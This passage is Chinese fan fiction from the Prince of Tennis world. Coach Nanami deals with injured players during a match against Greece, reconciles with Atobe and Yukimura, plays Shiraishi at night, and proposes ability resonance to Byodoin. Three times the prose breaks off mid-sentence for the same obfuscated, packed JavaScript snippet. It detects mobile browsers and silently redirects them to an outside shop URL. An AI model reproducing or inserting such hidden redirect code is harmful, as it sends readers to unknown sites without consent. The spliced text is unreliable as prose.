他们喜欢她从来不是错,她用那样的话去形容他们对她的感情,是她失去理智了。她明明知道,他们对她的真心......今天找个机会和他们道歉吧。 七海深吸了一口气,踏步过去和看台边的桃城他们还有女网部的少女们故作无事地寒暄了几句,解释了越前龙马去美国队的原因,这才走到己方阵营的选手席。 第一局,日本队上场的是大石秀一郎和越知月光。越知的高速马赫球她无需担心,她担心的是...... “秀一郎,比赛小心。” “七海,你的眼睛怎么了?你哭了吗?谁欺负你了?”大石秀一郎担忧三连问,她摇了摇头,不欲让他分心。大石见问不出什么结果,比赛在即只得上场。 然而,这场比赛他还是受了一身伤,恐怕之后的比赛也无法参与了。七海转而拜托他在之后的比赛和三津谷他们共同负责起医疗组的事宜。 第二局,赤也和远野。 七海看着上场的两人一时语塞。她昨天只看到了小队成员,却没想到是这个分组,她还以为是选拔赛时赤也x白石的双打,三船他们,是想把这场比赛变成互殴吗? 己方,一位天使中的恶魔,一位热爱处刑的恶魔,对场的希腊队双打选手也是以追身球“希腊式处刑法”出名。 “远野!”少年抱着膝盖倒在地上痛呼的一幕还是令她惊呼出声,仅仅只一个月的复健,他的髌骨还没好全。 “远野笃京。”七海看着胜利却负伤下场的少年咬牙切齿,没忍住一个爆栗敲在他的头上,“你伤还没好全打这种追身球互殴比赛,想让本小姐给你写的复健计划白费吗!” “抱歉......二阶堂教练,我也,已经高三了呐。”远野笃京躺在担架上强 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13114580|132092||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 忍着疼痛,应答的声音虚弱。 少女的身形瞬息间僵住了。 南半球炽热的阳光毫无遮拦地倾洒在赛场上,仿佛要将一切都融化殆尽。空气中弥漫着一股沙尘的气味,随着热风缓缓流动,可她却如坠冰窖。 她知道他的意思,如果不能走上职业道路,恐怕,这次世界杯就是他最后一次上场了。 一股难以言喻的愁绪突然涌上她的心头。 不光是远野,平等院,种岛,Duke,鬼,大曲,君岛,越知,入江,中河内,加治,伊达......这些人,全部都是高三生。 她这才猛然间反应过来,高中生里,有那么那么多人恐怕是最后一次走上世界的赛场了。此刻,他们正站在以那颗小球命名的人生舞台的最后高光一幕。 “最后一次”,多么残忍又充满遗憾的词。 世界杯之后,倘若不能加入职业队伍,恐怕很难再从他们的口中听到一句“下次比赛见”了。 曲终人散,明日隔天涯。 她知道他们终有一散,可此时此刻,她愈发强烈地感受到离别的痛,一刀刀,一阵阵,以沉默,以眼泪。 七海强忍住泪意吸了吸鼻子,攥紧拳头。 沉默了半晌,她终于缓缓开口:“我知道了,远野。之后会带着你的份大家一起努力的。”躺在担架上的少年难得露出了堪称欣慰的浅笑。 热风再次将她的思绪凝聚,她的心中只有一个念头——日本队,一定要夺得世界第一! 即使落幕,即使离别注定,她也想他们不留任何遗憾。 第三局。 “冒牌”神宙斯上场了。 “我的对手是你吗?”希腊队的宙斯一上场,周身便仿佛涌起了金光。 七海嘴角抽搐着,搞这么花哨,一看就不是什么真神。只是,这样的气场,他的精神力点数必然达到了7及以上,以白石藏之介的精神力恐怕会被完全压制、甚至被操控。 这场比赛不能让白石上,他不仅必输,甚至精神状态也有可能受到持续影响。 她正这么想着,种岛修二已然走到了白石藏之介身边,在他尚未反应过来之时一个剪刀石头布赢了参赛资格便施施然上场了。 七海轻舒了一口气,种岛她是能够完全信任的,他有时看似轻佻,其实是个心思细腻很靠谱的人。 场内,两位强者的比赛对决进行着,她却突然想起了一件未尽之事。 【“看来调酒比赛的结果已经出来了喵!我宣布,第一名是......白石!” “以后有时间的话,白石君,我们好好打一场吧,我也早就想领教你的圣书了呢。” “当然没有问题。”】 说来也惭愧,她经常忘记和别人打比赛的约定,也包括了那天生日派对上和白石藏之介的约定,还好白石君是个好人,并没有因此责问她。 七海走到了白石藏之介身边,戳了戳他的衣袖,少年面露困惑之色地转过头来。 “二阶堂,怎么了?” “呐,白石君,我们是不是还有一场比赛没打。”少女不好意思地捋了捋鬓角的碎发。 “是呐。”白石笑得灿烂,七海汗颜,他果然没忘。 七海挤眉弄眼,笑意狡黠:“今天你没能和这个伪神打比赛,晚上和我这个真神打一场比赛怎么样?” 她看得一清二楚,白石藏之介的五维和德川和也一个问题,五项发展太过均衡,单项能力又不够强。如今,德川已找到了属于自己的道,那他呢? 白石比了个帅气的手势:“那真是太好了!”,紧接着又放下手。 “二阶堂......虽然很冒昧,如果你不想回答就算了,你没事吗?”那双眼睛何止是哭过了,完全是痛哭许久才会有那样的眼睛。 “啊......我没事,只是心智不够坚定受一些流言蜚语影响了。”她勉强地笑了笑。 少年原本灿烂的表情突然冷了下来,眉头紧锁,嘴唇抿成一条直线。想起这几天她表面上看起来若无其事的样子,网上那些不堪入目的话......果然对一个女孩子说那种话实在是太过分了! “虽然安慰的话可能你已经听多了,但是,二阶堂,你在我眼里是一个负责温柔又善良的人。”他的安慰算不得多精巧却很真诚。“所以,不用理会那些垃圾!” “谢谢,白石君。”白石藏之介果然是个很温暖的人呐。 “那个,其实我一直好奇一个事,其他人都直接叫名字了,二阶堂教练,为什么不叫我的名字呢?” 他倒也没有特别在意,也不指望一下子跳到喊他藏之介,毕竟这是那几个和教练特别亲密的人才有的特权。 只是别人她都直呼其姓了,只有他好像还总是带个君,不,白石藏之介你在想什么有的没的...... 七海愣愣地看着眼前的少年飘忽不定的表情,有点没搞清楚状况。 不过说起来确实,高中生她现在都直接喊姓,初中生也大多都喊名字了,教练组也懒得用敬语了。 虽然她和眼前的少年好像也没熟到能喊名字的份上,但喊了也没什么。 “是我疏忽了,藏之介。”少女眼含真诚地回道。 白石藏之介呆愣在了原地。 112.第 112 章 对战希腊的第一轮循环赛以三连胜结束。 种岛修二6-2的轻松胜利不让人意外,下场时少年还意外地感谢了她一句,说是“体会过二阶堂你的神降压迫,宙斯的只不过是小把戏呢☆。” 只是,第一场循环赛就以丧失两名战力的代价获得全胜战绩还是令平等院凤凰十分恼火,至于她为什么知道嘛—— 【日本必胜】 [12:42]平等院凤凰:@所有人全员回到选手村后,下午2点来休息室受死! 独自一人坐在选手村商业中心的咖啡馆内,七海点开群消息,映入眼帘的就是这条带着怒气的艾特。 她早已知道了明天的对战名单,她想她没有必要过去。 今天晚上她的任务繁多,除了和越前龙雅日行一善,她还约了和白石藏之介的比赛,之后还要回宿舍和平等院商量解决博格那一招的办法。 但是...... 【“我是被共用的吗?是你们抢夺的物品吗?”】 有些事她总该面对。 认命地叹了口气,七海将为了给眼睛消肿点的冰美式一饮而尽,苦涩的液体划过喉咙直抵内心,她站起身准备回到日本队宿舍楼。 片刻后,她深刻地理解了什么叫冤家路窄。 过道另一头迎面走来的,不是韩国队的一众选手又能是谁。 不得不说,韩国队的审美十分单一,选手看起来像是一个模子里刻出来的,平面脸上嵌着一对单眼皮小眼,每个人都顶着毫无二致的寸头发型。 此刻,整齐划一的还有他们见到她的瞬间脸上挂上的不善表情。 她开始后悔从巴士下车后没有跟随松小队的少年们一起去吃饭。不过,已经有两个人被退赛了,他们应该不敢拿她怎么样吧? 好汉不吃眼前亏,他们人多势众,现在还是先溜为上。 七海下意识咽了口口水,挺直腰板,装作若无其事的样子试图从那群人身边穿过。 即将擦身而过的一瞬,她的长发又被人从身后一把揪住,直接拖了回来。可恶,韩国队这些人是有什么抓人头发的癖好吗! “你这就想走吗,二阶堂教练?”领头的红发少年嗓音极其阴沉,他将扯住的长发猛地一松,七海一个踉跄差点摔倒在他们面前。 “怎么,难道你们还想被退赛?”她站直了身,冷脸呛声道。 “我们早就研究过了,二阶堂教练。我们既没有说你什么,又没有主动伤人,恐怕你想让我们被退赛难哦。” 七海皱眉,这个人又是那样令人作呕的上下打量的眼神。研究过比赛规章,他们到底想干什么? “别怕,只是想通知你一声,循环赛结束后我们为你准备了一份礼物。”红发少年勾着唇角回了一句意味不明的话。 “走吧。”十数人浩浩荡荡离去。 韩国队的轻轻放过反而令她的眉头蹙得更深了。 礼物......呵,她才不相信这群人会有什么好心肠。 循环赛结束后会休赛两天,韩国队能否进十六强都未可知,他们到底打算在那两天做什么......罢了,现在敌在暗我在明,只能到时候兵来将挡,水来土掩了。 ---------------------- 七海刻意放轻脚步,偷偷抵达休息室时,平等院的训话已经开始。 “只要踏错一步输的就是日本队了!我早就告诉你们不要小看世界!” 平等院凤凰站在人群中央,厉声训斥着负伤的两人,随即宣布了明日对战澳大利亚的名单。却没想到,从走廊的另一边一阵急促的脚步声传来,柳莲二与乾贞治共同宣布了一个糟糕的消息: “大家,不好了!世界第二的瑞士和澳大利亚的比赛,瑞士输了!” “瑞士,输了?”她眼中难掩震惊之色,喃喃地重复着最后半句话。此话一出,所有人都将视线移向了之前未能被注意到的,站在角落的那道清丽身影。 七海的眉头紧蹙,双手抱臂大脑飞速旋转着,几秒后她抬头笃定道:“不,他们输了应当是因为派出的选手本身较弱。” 瑞士队的实力她再清楚不过,输给澳大利亚?只有一种可能——他们派出了较弱的那几个正选对战澳大利亚给他们练手,他们有自信能打赢日本,打算以两胜一败出线。 “二阶堂,你这么确信。”平等院紧盯着她的瞳孔确认。 七海目光凌厉,果断地点了点头:“嗯。完备状态的瑞士队绝非澳大利亚能打败的。不过,即便如此,能让澳大利亚队赢一次,这其中也必有蹊跷。” 她继续分析着:“在出赛人员不变的情况下,实力猛增只有两种可能,他们之前藏拙了,亦或是,出现了有能力改变结果的......” “军师。”迹部景吾将她未说完的最后两个字补上。“本大爷也这么认为。” 她之前一直回避着去看他们,听到那道一如既往自信张扬的声线,她这才怔愣着望向坐在沙发上的那两个人。 他们的表情似乎并没有什么变化,一个仍是睥睨天下的二郎腿坐姿,一个脸上虽无笑意但也无冷意,她稍稍安心了几分。 “确实,这种可能性并不低。”柳莲二也陷入了沉思。 “而且,澳大利亚队和日本队有一点矛盾,再加上出线需要,明天他们派上场的不会是那些弱势正选。”她已经知道了迹部表演赛离去后发生的事。 迹部景吾点了点眼下的泪痣,傲然道:“既然有人在背后盯着棋局排兵布阵,我们把棋盘掀翻不就行了,啊恩?” “事情好像变得有趣起来了,噗哩。” 不二周助睁着冰蓝的眸子温柔地笑着:“是呐。” “嗯。真田,明天......”幸村精市和真田弦一郎不知说了什么,真田沉着地点了点头。 七海看着这几个初中生里的智商兼腹黑担当在那儿各笑各的,只觉得明天澳大利亚队恐怕要遭殃了。余下的时间,少年们密谋敲定了明日的出场战略,终于三三两两离场吃饭去。 她......她从始至终站在角落没有动,他们也从始至终没有离开他们的位置。直到最后,休息室只剩他们三人。 落地窗外,夕阳的余晖慢慢顺着玻璃流淌进屋内,沙发上,地板上满是横斜的金色倒影,温润的金色同样也洒在了那两个人身上。 休息室内弥漫着一股细碎的沉寂,三个人无声地保持着各自的姿势,谁也没有开口说话,只有时钟的嘀嗒声在空间里回荡。 她有些忍受不了这样的死寂,攥了攥拳头,正准备往对面的沙发走去,他们却起身径直向她走来。她无言地看着他们走到她面前,窗外的黄昏光影被两人的身影遮去大半。 她想她该先开口道歉: “景吾,精市,对不起,昨天是我口不择言了。”她的神情晦涩,但却毫无退缩之意,少年们听到这句话刚想回应,却见她立刻续上了话。 “我明知道你们都是真心的,却用那样的话来描述......真的很对不起。”她垂下了头。 “是本大爷不好,以后不逼你了。”他柔声道。七海猛地抬头,呆愣地看着左边迹部温柔的神色。 “七海,你什么时候做选择都可以。”幸村精市浅笑着,“只是,如果选择我就最好了呐。” “幸村,你在说什么呢,啊恩?”迹部景吾佯怒。 “你们......”她的眼底似有泪光。 他们太好了......不配的人,是她啊。 ---------------------------- 【19:22 to越前龙雅:越前君,今天我有一场比赛,可能要麻烦你迟一点过来,大概9点吧?地点就还是在2号球场好了】 【19:24 越前龙雅:随时等候神様的差遣】 七海坐在赛场边的席位上,看着短讯界面抽了抽嘴角,越前龙雅这家伙,每天不调侃一下浑身难受。不过到目前为止她都没听说有谁被剥夺了技能,他倒是信守承诺...... “啊,二阶堂,你已经到啦?”身后传来了白石藏之介的声音。 “嗯,藏之介到得好早呐。”她转过头应道,他们约定的时间明明是七点四十。 白石藏之介脸上洋溢着阳光的笑容:“当然了,不能让女孩子等嘛。”只是没想到她来得更早。 “好,那我们就事不宜迟开始比赛吧。和我比赛的话,藏之介,你的护腕......”少女笑得狡黠。 “嗯,不取下来可不行了呐。”少年举起手臂,轻咬缠绕在胳膊上的绷带,随着他的动作,一条条白色绷带垂落,掉在了地上,露出了里面的黄金护腕。 “藏之介,我有个问题有点好奇想问你。” 其实早在合宿的时候她就觉得,用嘴巴咬绷带的这个动作......很色气,她猜测这大概是白石耍酷的一部分,就像她明明可以直接解封却偏要加个散发动作一样。 “是什么?” “藏之介,你不用手解开绷带,而用嘴,是为了耍帅吗?”她的嘴角浮起了一抹揶揄的笑。 白石藏之介愣了愣,旋即爽快地承认了:“啊呀,没想到这都被二阶堂你发现了!果然用嘴咬开更加帅呢~” 七海抿唇一笑,果然。不过比起动作,更吸引人的其实是那两块护腕。那可是纯金啊......她将视线上移,目不转睛地盯着护腕,眼馋,她可是知道的,以后的金价有多高。 “二阶堂......”白石藏之介注意到七海过分热忱的目光不觉失笑,“这个护腕,想摸摸看吗?” “嗯嗯!”她小鸡啄米式点头。 少年将护腕放到了座椅上,七海尝试着拿起两半,果然很重......听说是渡边教练的全身家当了,真是一次正确的理财投资啊。不,现在不是想这些有的没的的时候了,还是先比赛吧。 “咳,我摸完了,我们开始比赛吧!发球就你来发吧,藏之介。”七海拿起放在椅边的球拍施施然走到对面半场,收起了笑容,严肃起来。 圣经......这其实正是她一直追求的网球,是她最欣赏的所谓网球的本质。虽然她现在也不过是个滥用绝对主宰的人,七海眼底闪过一丝自嘲。 白石藏之介似乎还没有完全习惯被直呼名字,微愣了一秒,“没问题。” 月光与赛场的白炽灯交相辉映下,少年屈身颠了颠球,深吸一口气,紧接着将黄色小球抛至空中,跳起挥拍一气呵成,一个压迫感极强的上旋球随着拍身狠狠向对场呼啸而去! 七海只惊了一瞬便眼疾手快地滑步旋身,利用拍面再为球增加了一层旋转 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13126791|132092||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,一记高速球如子弹般疾驰,直抵对角底线后弹起。 “15-0,呐?”少女粲然一笑。 “果然二阶堂很厉害呢!”白石藏之介丝毫不见气馁,反倒燃起了斗志。 下一球依然是一个来势迅猛的正手上旋,几回合对击后,七海快步上前,挥拍打出一个飞旋至远空中的吊高球。 藏之介,给了你这个扣杀的机会,看看你会如何行动吧。 白石藏之介不慌不忙,飞奔至回击点背身跳起,居然是一个反手扣杀! “嗯~Ecstasy!” “15-15”她的嘴角噙着一抹笑,“藏之介,这场比赛我不是为了打赢你。” “是为了看清你,所以请你像刚才那一球一样,使出你的浑身解数吧!” “30-15” ...... “3-1” ...... 球场上,激烈的拍击声与轻快的脚步声交织在一起,两人的汗水顺着额头滑落,脸上却只余畅快之色。 果然,这样的网球才是她想要的!如果只靠花哨的招式就可以改变一切,那么她这两辈子的努力算什么!那些少年们流下的汗水算什么,不甘的泪水又算什么! 与其说是圣经,不如说是本心! 随着最后砰的一声,球拍重重击打在球面上,发出如同雷鸣般的震颤。黄色小球在空中划出优美的抛物线,以肉眼几乎无法捕捉的速度旋转着飞向对场少年的脚边,接着落地,弹起。 “Game end match,6-2”白石藏之介站定在网前轻喘着气,口中报出了比赛结果,紧接着绽放出了一个飒爽的笑容,“真是一场不错的比赛。” “嗯!”少女巧笑倩兮,两人在网前握手,旋即回到了场边的座位上,装护腕的装护腕,喝水的喝水。 “呐,藏之介,我一直很好奇,为什么你的部员的球打得五花八门,你的球风却这么均衡呢?”七海将瓶盖炫紧,随意地抛出了个问题。 白石藏之介干脆道:“为了胜利。” “但是现在这样的水平,恐怕取得不了世界级比赛的胜利。”她大概是被越前龙雅影响了,坐在位置上,手里有一下没一下地抛着网球。 “嗯。”少年收敛了笑容,很显然,他自己也意识到了这一点。 “不过,我说这句话的意思,不是让你放弃现在这样的网球。” “反而我觉得这样的网球是最好的,唔......如果有办法能把你的五维的那个五边形等比放大就好了。”七海盯着眼前小球上下翻飞的弧线,边思索边自言自语着。 她讪笑了一下:“呃,不过这样你就堪比博格了,估计暂时还不可能哈哈。” 白石藏之介也陷入了沉思,忽然,她眼前一亮。 “啊,那个!藏之介,你有没有玩过一个游戏,叫翻花绳。”她的音调上扬了几度,“呐呐,你的绷带借我一根用一下。” 她将小球放在一边笑着伸出手,白石藏之介从善如流地扯下一根绷带递过去。 “虽然有点宽了,不过......”七海将绷带的两头扎起,接着缠在了手上,“明明长度没有变化对不对,但是,一根绳子却可以玩出很多花样。”她认真道,双眸望向他又转回手上。 “渔网啦,小山啦,五角星啦,哦对了,还有一个很厉害的,叫降落伞......”七海示意给少年看,神色逐渐沁着温柔,像是陷入了回忆中。 本该无忧无虑的年华里,她好像与整个世界格格不入。虚弱的体质像是一件累赘的衣裳,将她禁锢在狭小的空间,所以一切能一个人玩的游戏她都十分精通。 小时是翻花绳、编手链,稍大以后是掌机游戏和网游,后来,以为身体好些了终于多了一项网球。 或许现在怎么磋磨也能恢复活蹦乱跳的身体,也是对她的补偿吧。 从回忆中抽离,少女将思绪理顺:“也就是说,藏之介,虽然你现在的总体能力没法短时间提升,就像这根绷带一样,长度是固定不变的。但是,有没有可能发生变形呢?” “变形?”白石藏之介恍神,喃喃自语着。 “嗯,这只是我的一个想法,仅供参考。”七海笑眯眯道,顺手将绷带递还给少年,他下意识接过绷带,绑回手臂上。 “无论是力量还是耐力还是精神力还是什么,都是属于你的东西,那么,怎么活用这些能力呢?在某些时候,能力是可以流动的。” 就像她的耐力不足,却可以用精神力弥补。 “好了,今天的比赛就结束了。我接下来还要在这里等人,藏之介你就先回去吧?” “啊,嗯。”白石藏之介似乎还沉浸在刚才的话语中,听到被下了逐客令,这才将视线聚焦回来。 他想起了另一件事:“二阶堂,其实白天的时候,我说那句话是希望你直接喊我的姓就好。” 七海直接尬住,原来自来熟的人竟是我自己。“啊,抱歉,那我......” 白石藏之介打断了她的话:“我的意思是,既然你都喊我的名字了,我可以喊你的名字吗?” 少女摆摆手随意道:“那当然可以了。” “......七海。” “嗯?” “不,没什么......” 113.第 113 章 “神様,你真是大忙人呐。”白石藏之介走远没几步,球场的角落里便传来了越前龙雅的调笑声。 “是啊,越前君,难道你很闲吗。”七海转身扫过去一记眼刀,接着猛然想起,美国队几乎一天到晚都是自由练习时间,确实可以很闲。 她的表情立时转为挫败,身体和眉毛都耷拉下来。 而且这个人,又不按照约定时间来!都不知道到这里多久了。 越前龙雅只笑着抛着橙子往对场走去,不说话。 她自顾自打开了话匣子:“说起来,既然你现在不用担心自己的网球剥夺了别人的网球,你和越前打比赛了吗?”她记得越前想和他打比赛想了好久。 “还没。” 七海愣了愣:“为什么?” 越前龙雅:“这么关心我们的事......谁在那里!”少年本带着笑意的脸刹那间转冷,抓住橙子便径直向球场外的一处黑暗角落快跑去,然而,十数秒后他悻悻然独自返回。 “怎么了,有人在那里吗?”她从座位上起身,也走到门口左右张望。 “没找到,但我的直觉不会错。”越前龙雅深深蹙起眉。 七海沉思片刻,索性放弃了思考,她实在想不出有人大晚上在网球场外能偷偷摸摸干嘛。收集越前龙雅的数据?可他最关键的技能已经被她封印了。 她不是选手也没有收集数据的价值......吧? 想到这种可能性,她徒增了些忐忑。只是人也没抓住,她的数据说到底用处也不大,这时候说这些也没用了。 “总之,还是干正事吧。” “哦对了,那个......虽然上次你想把我抱回去我很感谢啦,不过还是算了,我自己休息一会儿回去就好。”她耙了耙耳边的碎发,表情有些不自然。 她本就有了那样的名声,再从公共网球场一路被抱回日本队的大楼,恐怕在别人看来就是做实流言了。 “真坚强呐,神様。” “我会努力想出能够一劳永逸的办法,这样以后就不用每晚一次这么麻烦了。”她直接无视了他的阴阳怪气。 ...... 结束日行一善,独自在球场的阴影处不知道休息了多久,待到呼吸平复,七海慢悠悠爬起身,随意拍了拍身上的尘土,往选手宿舍走去。 叩开平等院凤凰的房门,她扫了一眼桌面了然地挑了挑眉: “平等院,又在抄你的般若心经,你个走阿修罗神道的人,怎么这么离经叛道哦。说起来,石田也喜欢读般若心经,你们说不定能聊到一块呢。” 平等院一副懒得理她的模样,打开门便回到了书桌前继续抄经。 “是诸法空相,不生不灭,不垢不净,不增不减......”她没有走到桌边,而是踱步至窗边,倚着沙发背,遥望着月空一字一句地轻声念着。 平等院凤凰再次停下了手上的动作,干脆将毛笔放回笔架,收起稿纸,从抽屉里取出了一本笔记本,转身看向她。 “二阶堂,看不出来你居然也会背几句佛经。” 他本只能看到她的背影,但落地窗却倒映出她脸上的自嘲,以及她身周围绕着的淡淡的寂寥。 “嘛,人在痛苦无助的时候就会开始求助于外物了。”她垂头低笑了一声,“比起般若心经,我还是更喜欢读金刚经。” 她转过身,双手撑着沙发沿,视线移向坐在书桌前的少年,他难得地保持着沉默,没有呛声也没有打算嘲笑她的意思。 “一切有为法,如梦幻泡影。如露亦如电,应作如是观......凡有所相,皆是虚妄。若见诸相非相,即见如来。”经文借她之口缓缓流淌在屋内。 七海勾了勾唇,笑容带上了几分无奈:“不过,我们两个人读佛经看起来其实也不怎么搭呢。无挂碍故无有恐怖,我们都是有挂碍之人,为了胜利两个字着相着得要命。” 如果她能够悟得这些话,又怎么可能在这个世界这样累死累活,她是被红尘万物束缚之人,是无法证道之人。 可这样的人不该太多,至少,不该都是。 好在只有她被浸泡在荒谬之潭中。皆为真实太苦,皆是虚妄太空。 过去心不可得,现在心不可得,未来心不可得,或许她该学会放弃抗争。 “不聊这个了,我们继续之前的讨论吧。”她走回到书桌前,拉开椅子坐下,书桌上的笔记本被平等院翻开,中间是四个大字“至高境界”,周围密密麻麻地写着蚂蚁般的小字。 之前的很长一段时间,从越前南次郎那里得知了所谓的至高领域或者说至高境界的存在后,他们就一直在讨论,到底什么是网球的至高境界。 “至高”这两个字的诱惑力太大,似乎掌握了这个境界就能横扫一片,也无怪乎越前龙雅也渴望领悟这一境界。 不知为何,每次看到这几个字,在德国职网协会大楼顶楼瞥见的那两场比赛,便会频繁地钻进她的脑袋。 第一场比赛是国光和博格的拉练,国光已经能够熟练切换“手冢领域”和“手冢魅影”,第二场比赛是他们两人和贝尔蒂与施耐德的双打,博格和国光实现了能力共鸣...... 如果德国队的少年们也在寻找着至高境界,那他们恐怕必须另辟蹊径才有可能压制他们了。 第八识,无没识,又名阿赖耶识,这是平等院现在所领悟到的境界。如果想他更近一步,那...... “平等院,你现在已经领悟了阿赖耶识,那是第八识。”她的声音放缓侧头看向他,“你知道,其实还有第九识吗?” 平等院原本平静的双眸骤然闪过一道凌厉的光芒,抿紧了双唇。 少女娓娓道来:“玄奘认为第九识只是第八识的补充,但金刚经里确实有提到,九识流净。第九识,又叫阿摩罗识,是......” 他沉声补充:“佛识,众神的意识。”他自然也知道这传闻中第九识的存在,只是佛识与神识都与他太过遥远,当初他选择了那条毁灭的道路就相当于自断了这一路。 她定定地盯着他漆黑的瞳孔:“平等院,你还记得吗,那次打比赛,我赢了你,你说我的神道远超你的阿修罗道。” “那时候我还没能反应过来,忘了第九识这件事,现如今回想起来,有没有可能,你的网球之路要想再进一步,还有一个办法是......” “获得我的力量。”她一字一句道。 金发少年的脸上鲜少出现此刻这样惊骇的神情:“二阶堂,你说这句话是什么意思。” “或许我操控网球的能力无法分享给你,但感悟网球本质的能力说不定能行得通。不是有能力共鸣吗?你在多次共鸣我的能力之后,也许就能再进一步。” 过去她从没想过能力共鸣这一招,全国大赛前,她能想到的也不过是和手冢同调,带着他回忆起打网球的初心。表演赛的第三场比赛倒是启发了她。 “否则,我认为以你目前的力量,恐怕难以和博格要创造出的恐怖之物相抗衡。”即使真的能够抗衡,代价也必定极其惨烈。 她的直觉向来很准。 七海边说着边将笔记本合上,收回抽屉里,再思考至高境界只是浪费时间。 “虽然佛说一切皆空,可是我还希望你能继续走下去,走职业选手的道路。你是知道的,阿赖耶识背后的代价,非生即死。” 赌上性命的比赛,是她无法接受的荒谬。阿摩罗识说不定会是一条更适合平等院走的道路,他的精神意志本就过分坚定,完全不怕绝对主宰对精神力造成的副作用。 少女的紫瞳中写满了坚定:“我们来试一试吧,第九识。从明天起,平等院,我们两个开始打双打,进行能力共鸣,我会解封绝对主宰。” 这是她这几天苦思冥想后才想出的或许能够通往胜利的道路,赛程太紧,他们没有时间了。她嘴上说着还有时间,还有成长的空间,只不过是为了安慰他们。 至于对手,她本就打算封印越前龙雅的吞噬能力,他可以算一个,另一个人......容她想一想。 她话中的内容一句比一句令他震颤,平等院眉头紧皱,似乎在思索这个方法是否可行。七海便耐心地注视着他,等待着他的答复,却没想到他猛地站起,语气裹挟着愤怒: “蠢货,你不要命了吗?” 他们两人都清楚,她的精神力紊乱的副作用尚未解决,现在的她就像一杯清水中被灌入墨汁,解封太多次绝对主宰只会越搅越浑。 七海难得冷笑了一声。 “平等院,你是最没资格问我这句话的人。” 平等院凤凰被彻底激怒:“老子至少现在还活得好好的,你不如去骂仁王那家伙!” “你说什么......” 这下,惊惶失措的人变成了她。 ---------------------- 明亮的走廊灯光下,一团白色的身影孤独地蜷缩在地上。四下空无一人,她被光线照射得无处遁形,暴露在这片空旷而寂静的环境中。 从平等院的房间出来时已过10点,甚至还没等她打开自己房间的门,她便挫败地跌坐在了走廊的地毯上。 如果,如果她有生死人,肉白骨的能力或是任何治愈他人的能力就好了。七海的精神力剧烈地波动着,识海掀起了汹涌波涛。 为什么别人的穿越就可以有金手指,可她呢,她除了一个所谓的绝对主宰一无所有。 而偏偏绝对主宰是如此一个鸡肋的技能,大多数时候只能利己,无法利他。更何况所谓的利己,不过是她一次又一次吐血昏迷换来的。 手冢的伤,幸村的病,回过头来仔细想想,她其实什么也没能改变。她哭也好骂也好,命运的齿轮无情地将他们碾压,康复也成了上天的恩赐。 就像海原祭那天,她在占卜屋抽到的那条签文“天命难违”。 可以随意改变比分听起来无敌。可是,她做不到为了胜利真的去改动比赛时球的轨迹啊......那样还算尊重比赛,尊重自己的队员,尊重对手吗? 她即使不介意是否堂堂正正,也无法做到心无芥蒂地作弊,那是在践踏规则,践踏这些人的努力。 况且她隐隐有预感,如果她真的敢这么做,她大概真的会被这个世界的至高规则钉在十字架上受死。她从未拥有过真正的自由,她一直以来都被无数条无形的锁链束缚着。 “为什么......为什么......”七海轻声喃喃自语着,她的心中第一次萌生了恨意。 她不想把自己搞得一团糟,可是如果想保全他们的性命与未来,她好像不得不牺牲。难道这是她的宿命吗? 被那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13138434|132092||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道声音送来这里,她从来不知道等在前方的是什么,也不知道命运的齿轮何时能由自己转动,等故事都结束,她会死吗? 有时,她的脑中会闪过一些奇怪的记忆碎片,她看到她死了,死在了镰仓的海边。 “为什么这个世界会变成这样......”被恨意与不甘裹挟着,她的情绪再次化作泪水涌出,少女坐在地上默默地任由泪水在脸颊上流淌。 似乎没有人能与她的痛苦感同身受,世界早已狡猾地逃脱掉它肇祸的责任。只有她自己知道她已被某种东西禁锢,把她和其他人都隔开。 她只能满腔悲愤地走在这条路上,别无选择。 不,不行,她绝不服输。未解封状态下,她的精神力恐怕已经达到了9点,这样的精神力,一定有办法改变什么。 譬如......既然她可以分出一小部分精神力封印越前龙雅的能力,虽然由于排异反应只能在他那里存在一天。那么她能不能把自己的精神力净化,然后分出一部分输送给别人用呢? 过往的十四年,她从没想过自己磅礴的精神力或许可以利用在研发网球技能以外的地方。现如今想来,这或许是另一条未被发现的路。 净化,怎么样才能做到净化?这件事她要在接下来的时间里好好想想。除了这件事......七海晃晃悠悠地从地上爬起来,随意乱抹了几下脸上的泪,蹒跚着走到了一扇门前。 手用力拍了拍门,无人应声。 “仁王,我知道你在里面,给我开门。”她的声音并不如何响,但她知道他能听到。 两分钟后,房门终于被打开了,仁王雅治穿着简单的白衬衫和宽松的黑色长裤,懒洋洋地搭腔:“二阶堂,大半夜不要随便敲男人的门,piyo。” “让我进去,我有话要问你。”还没等他答应,她就直接从他胳膊下的缝隙里挤了进去,仁王雅治难得露出了诧异的表情。 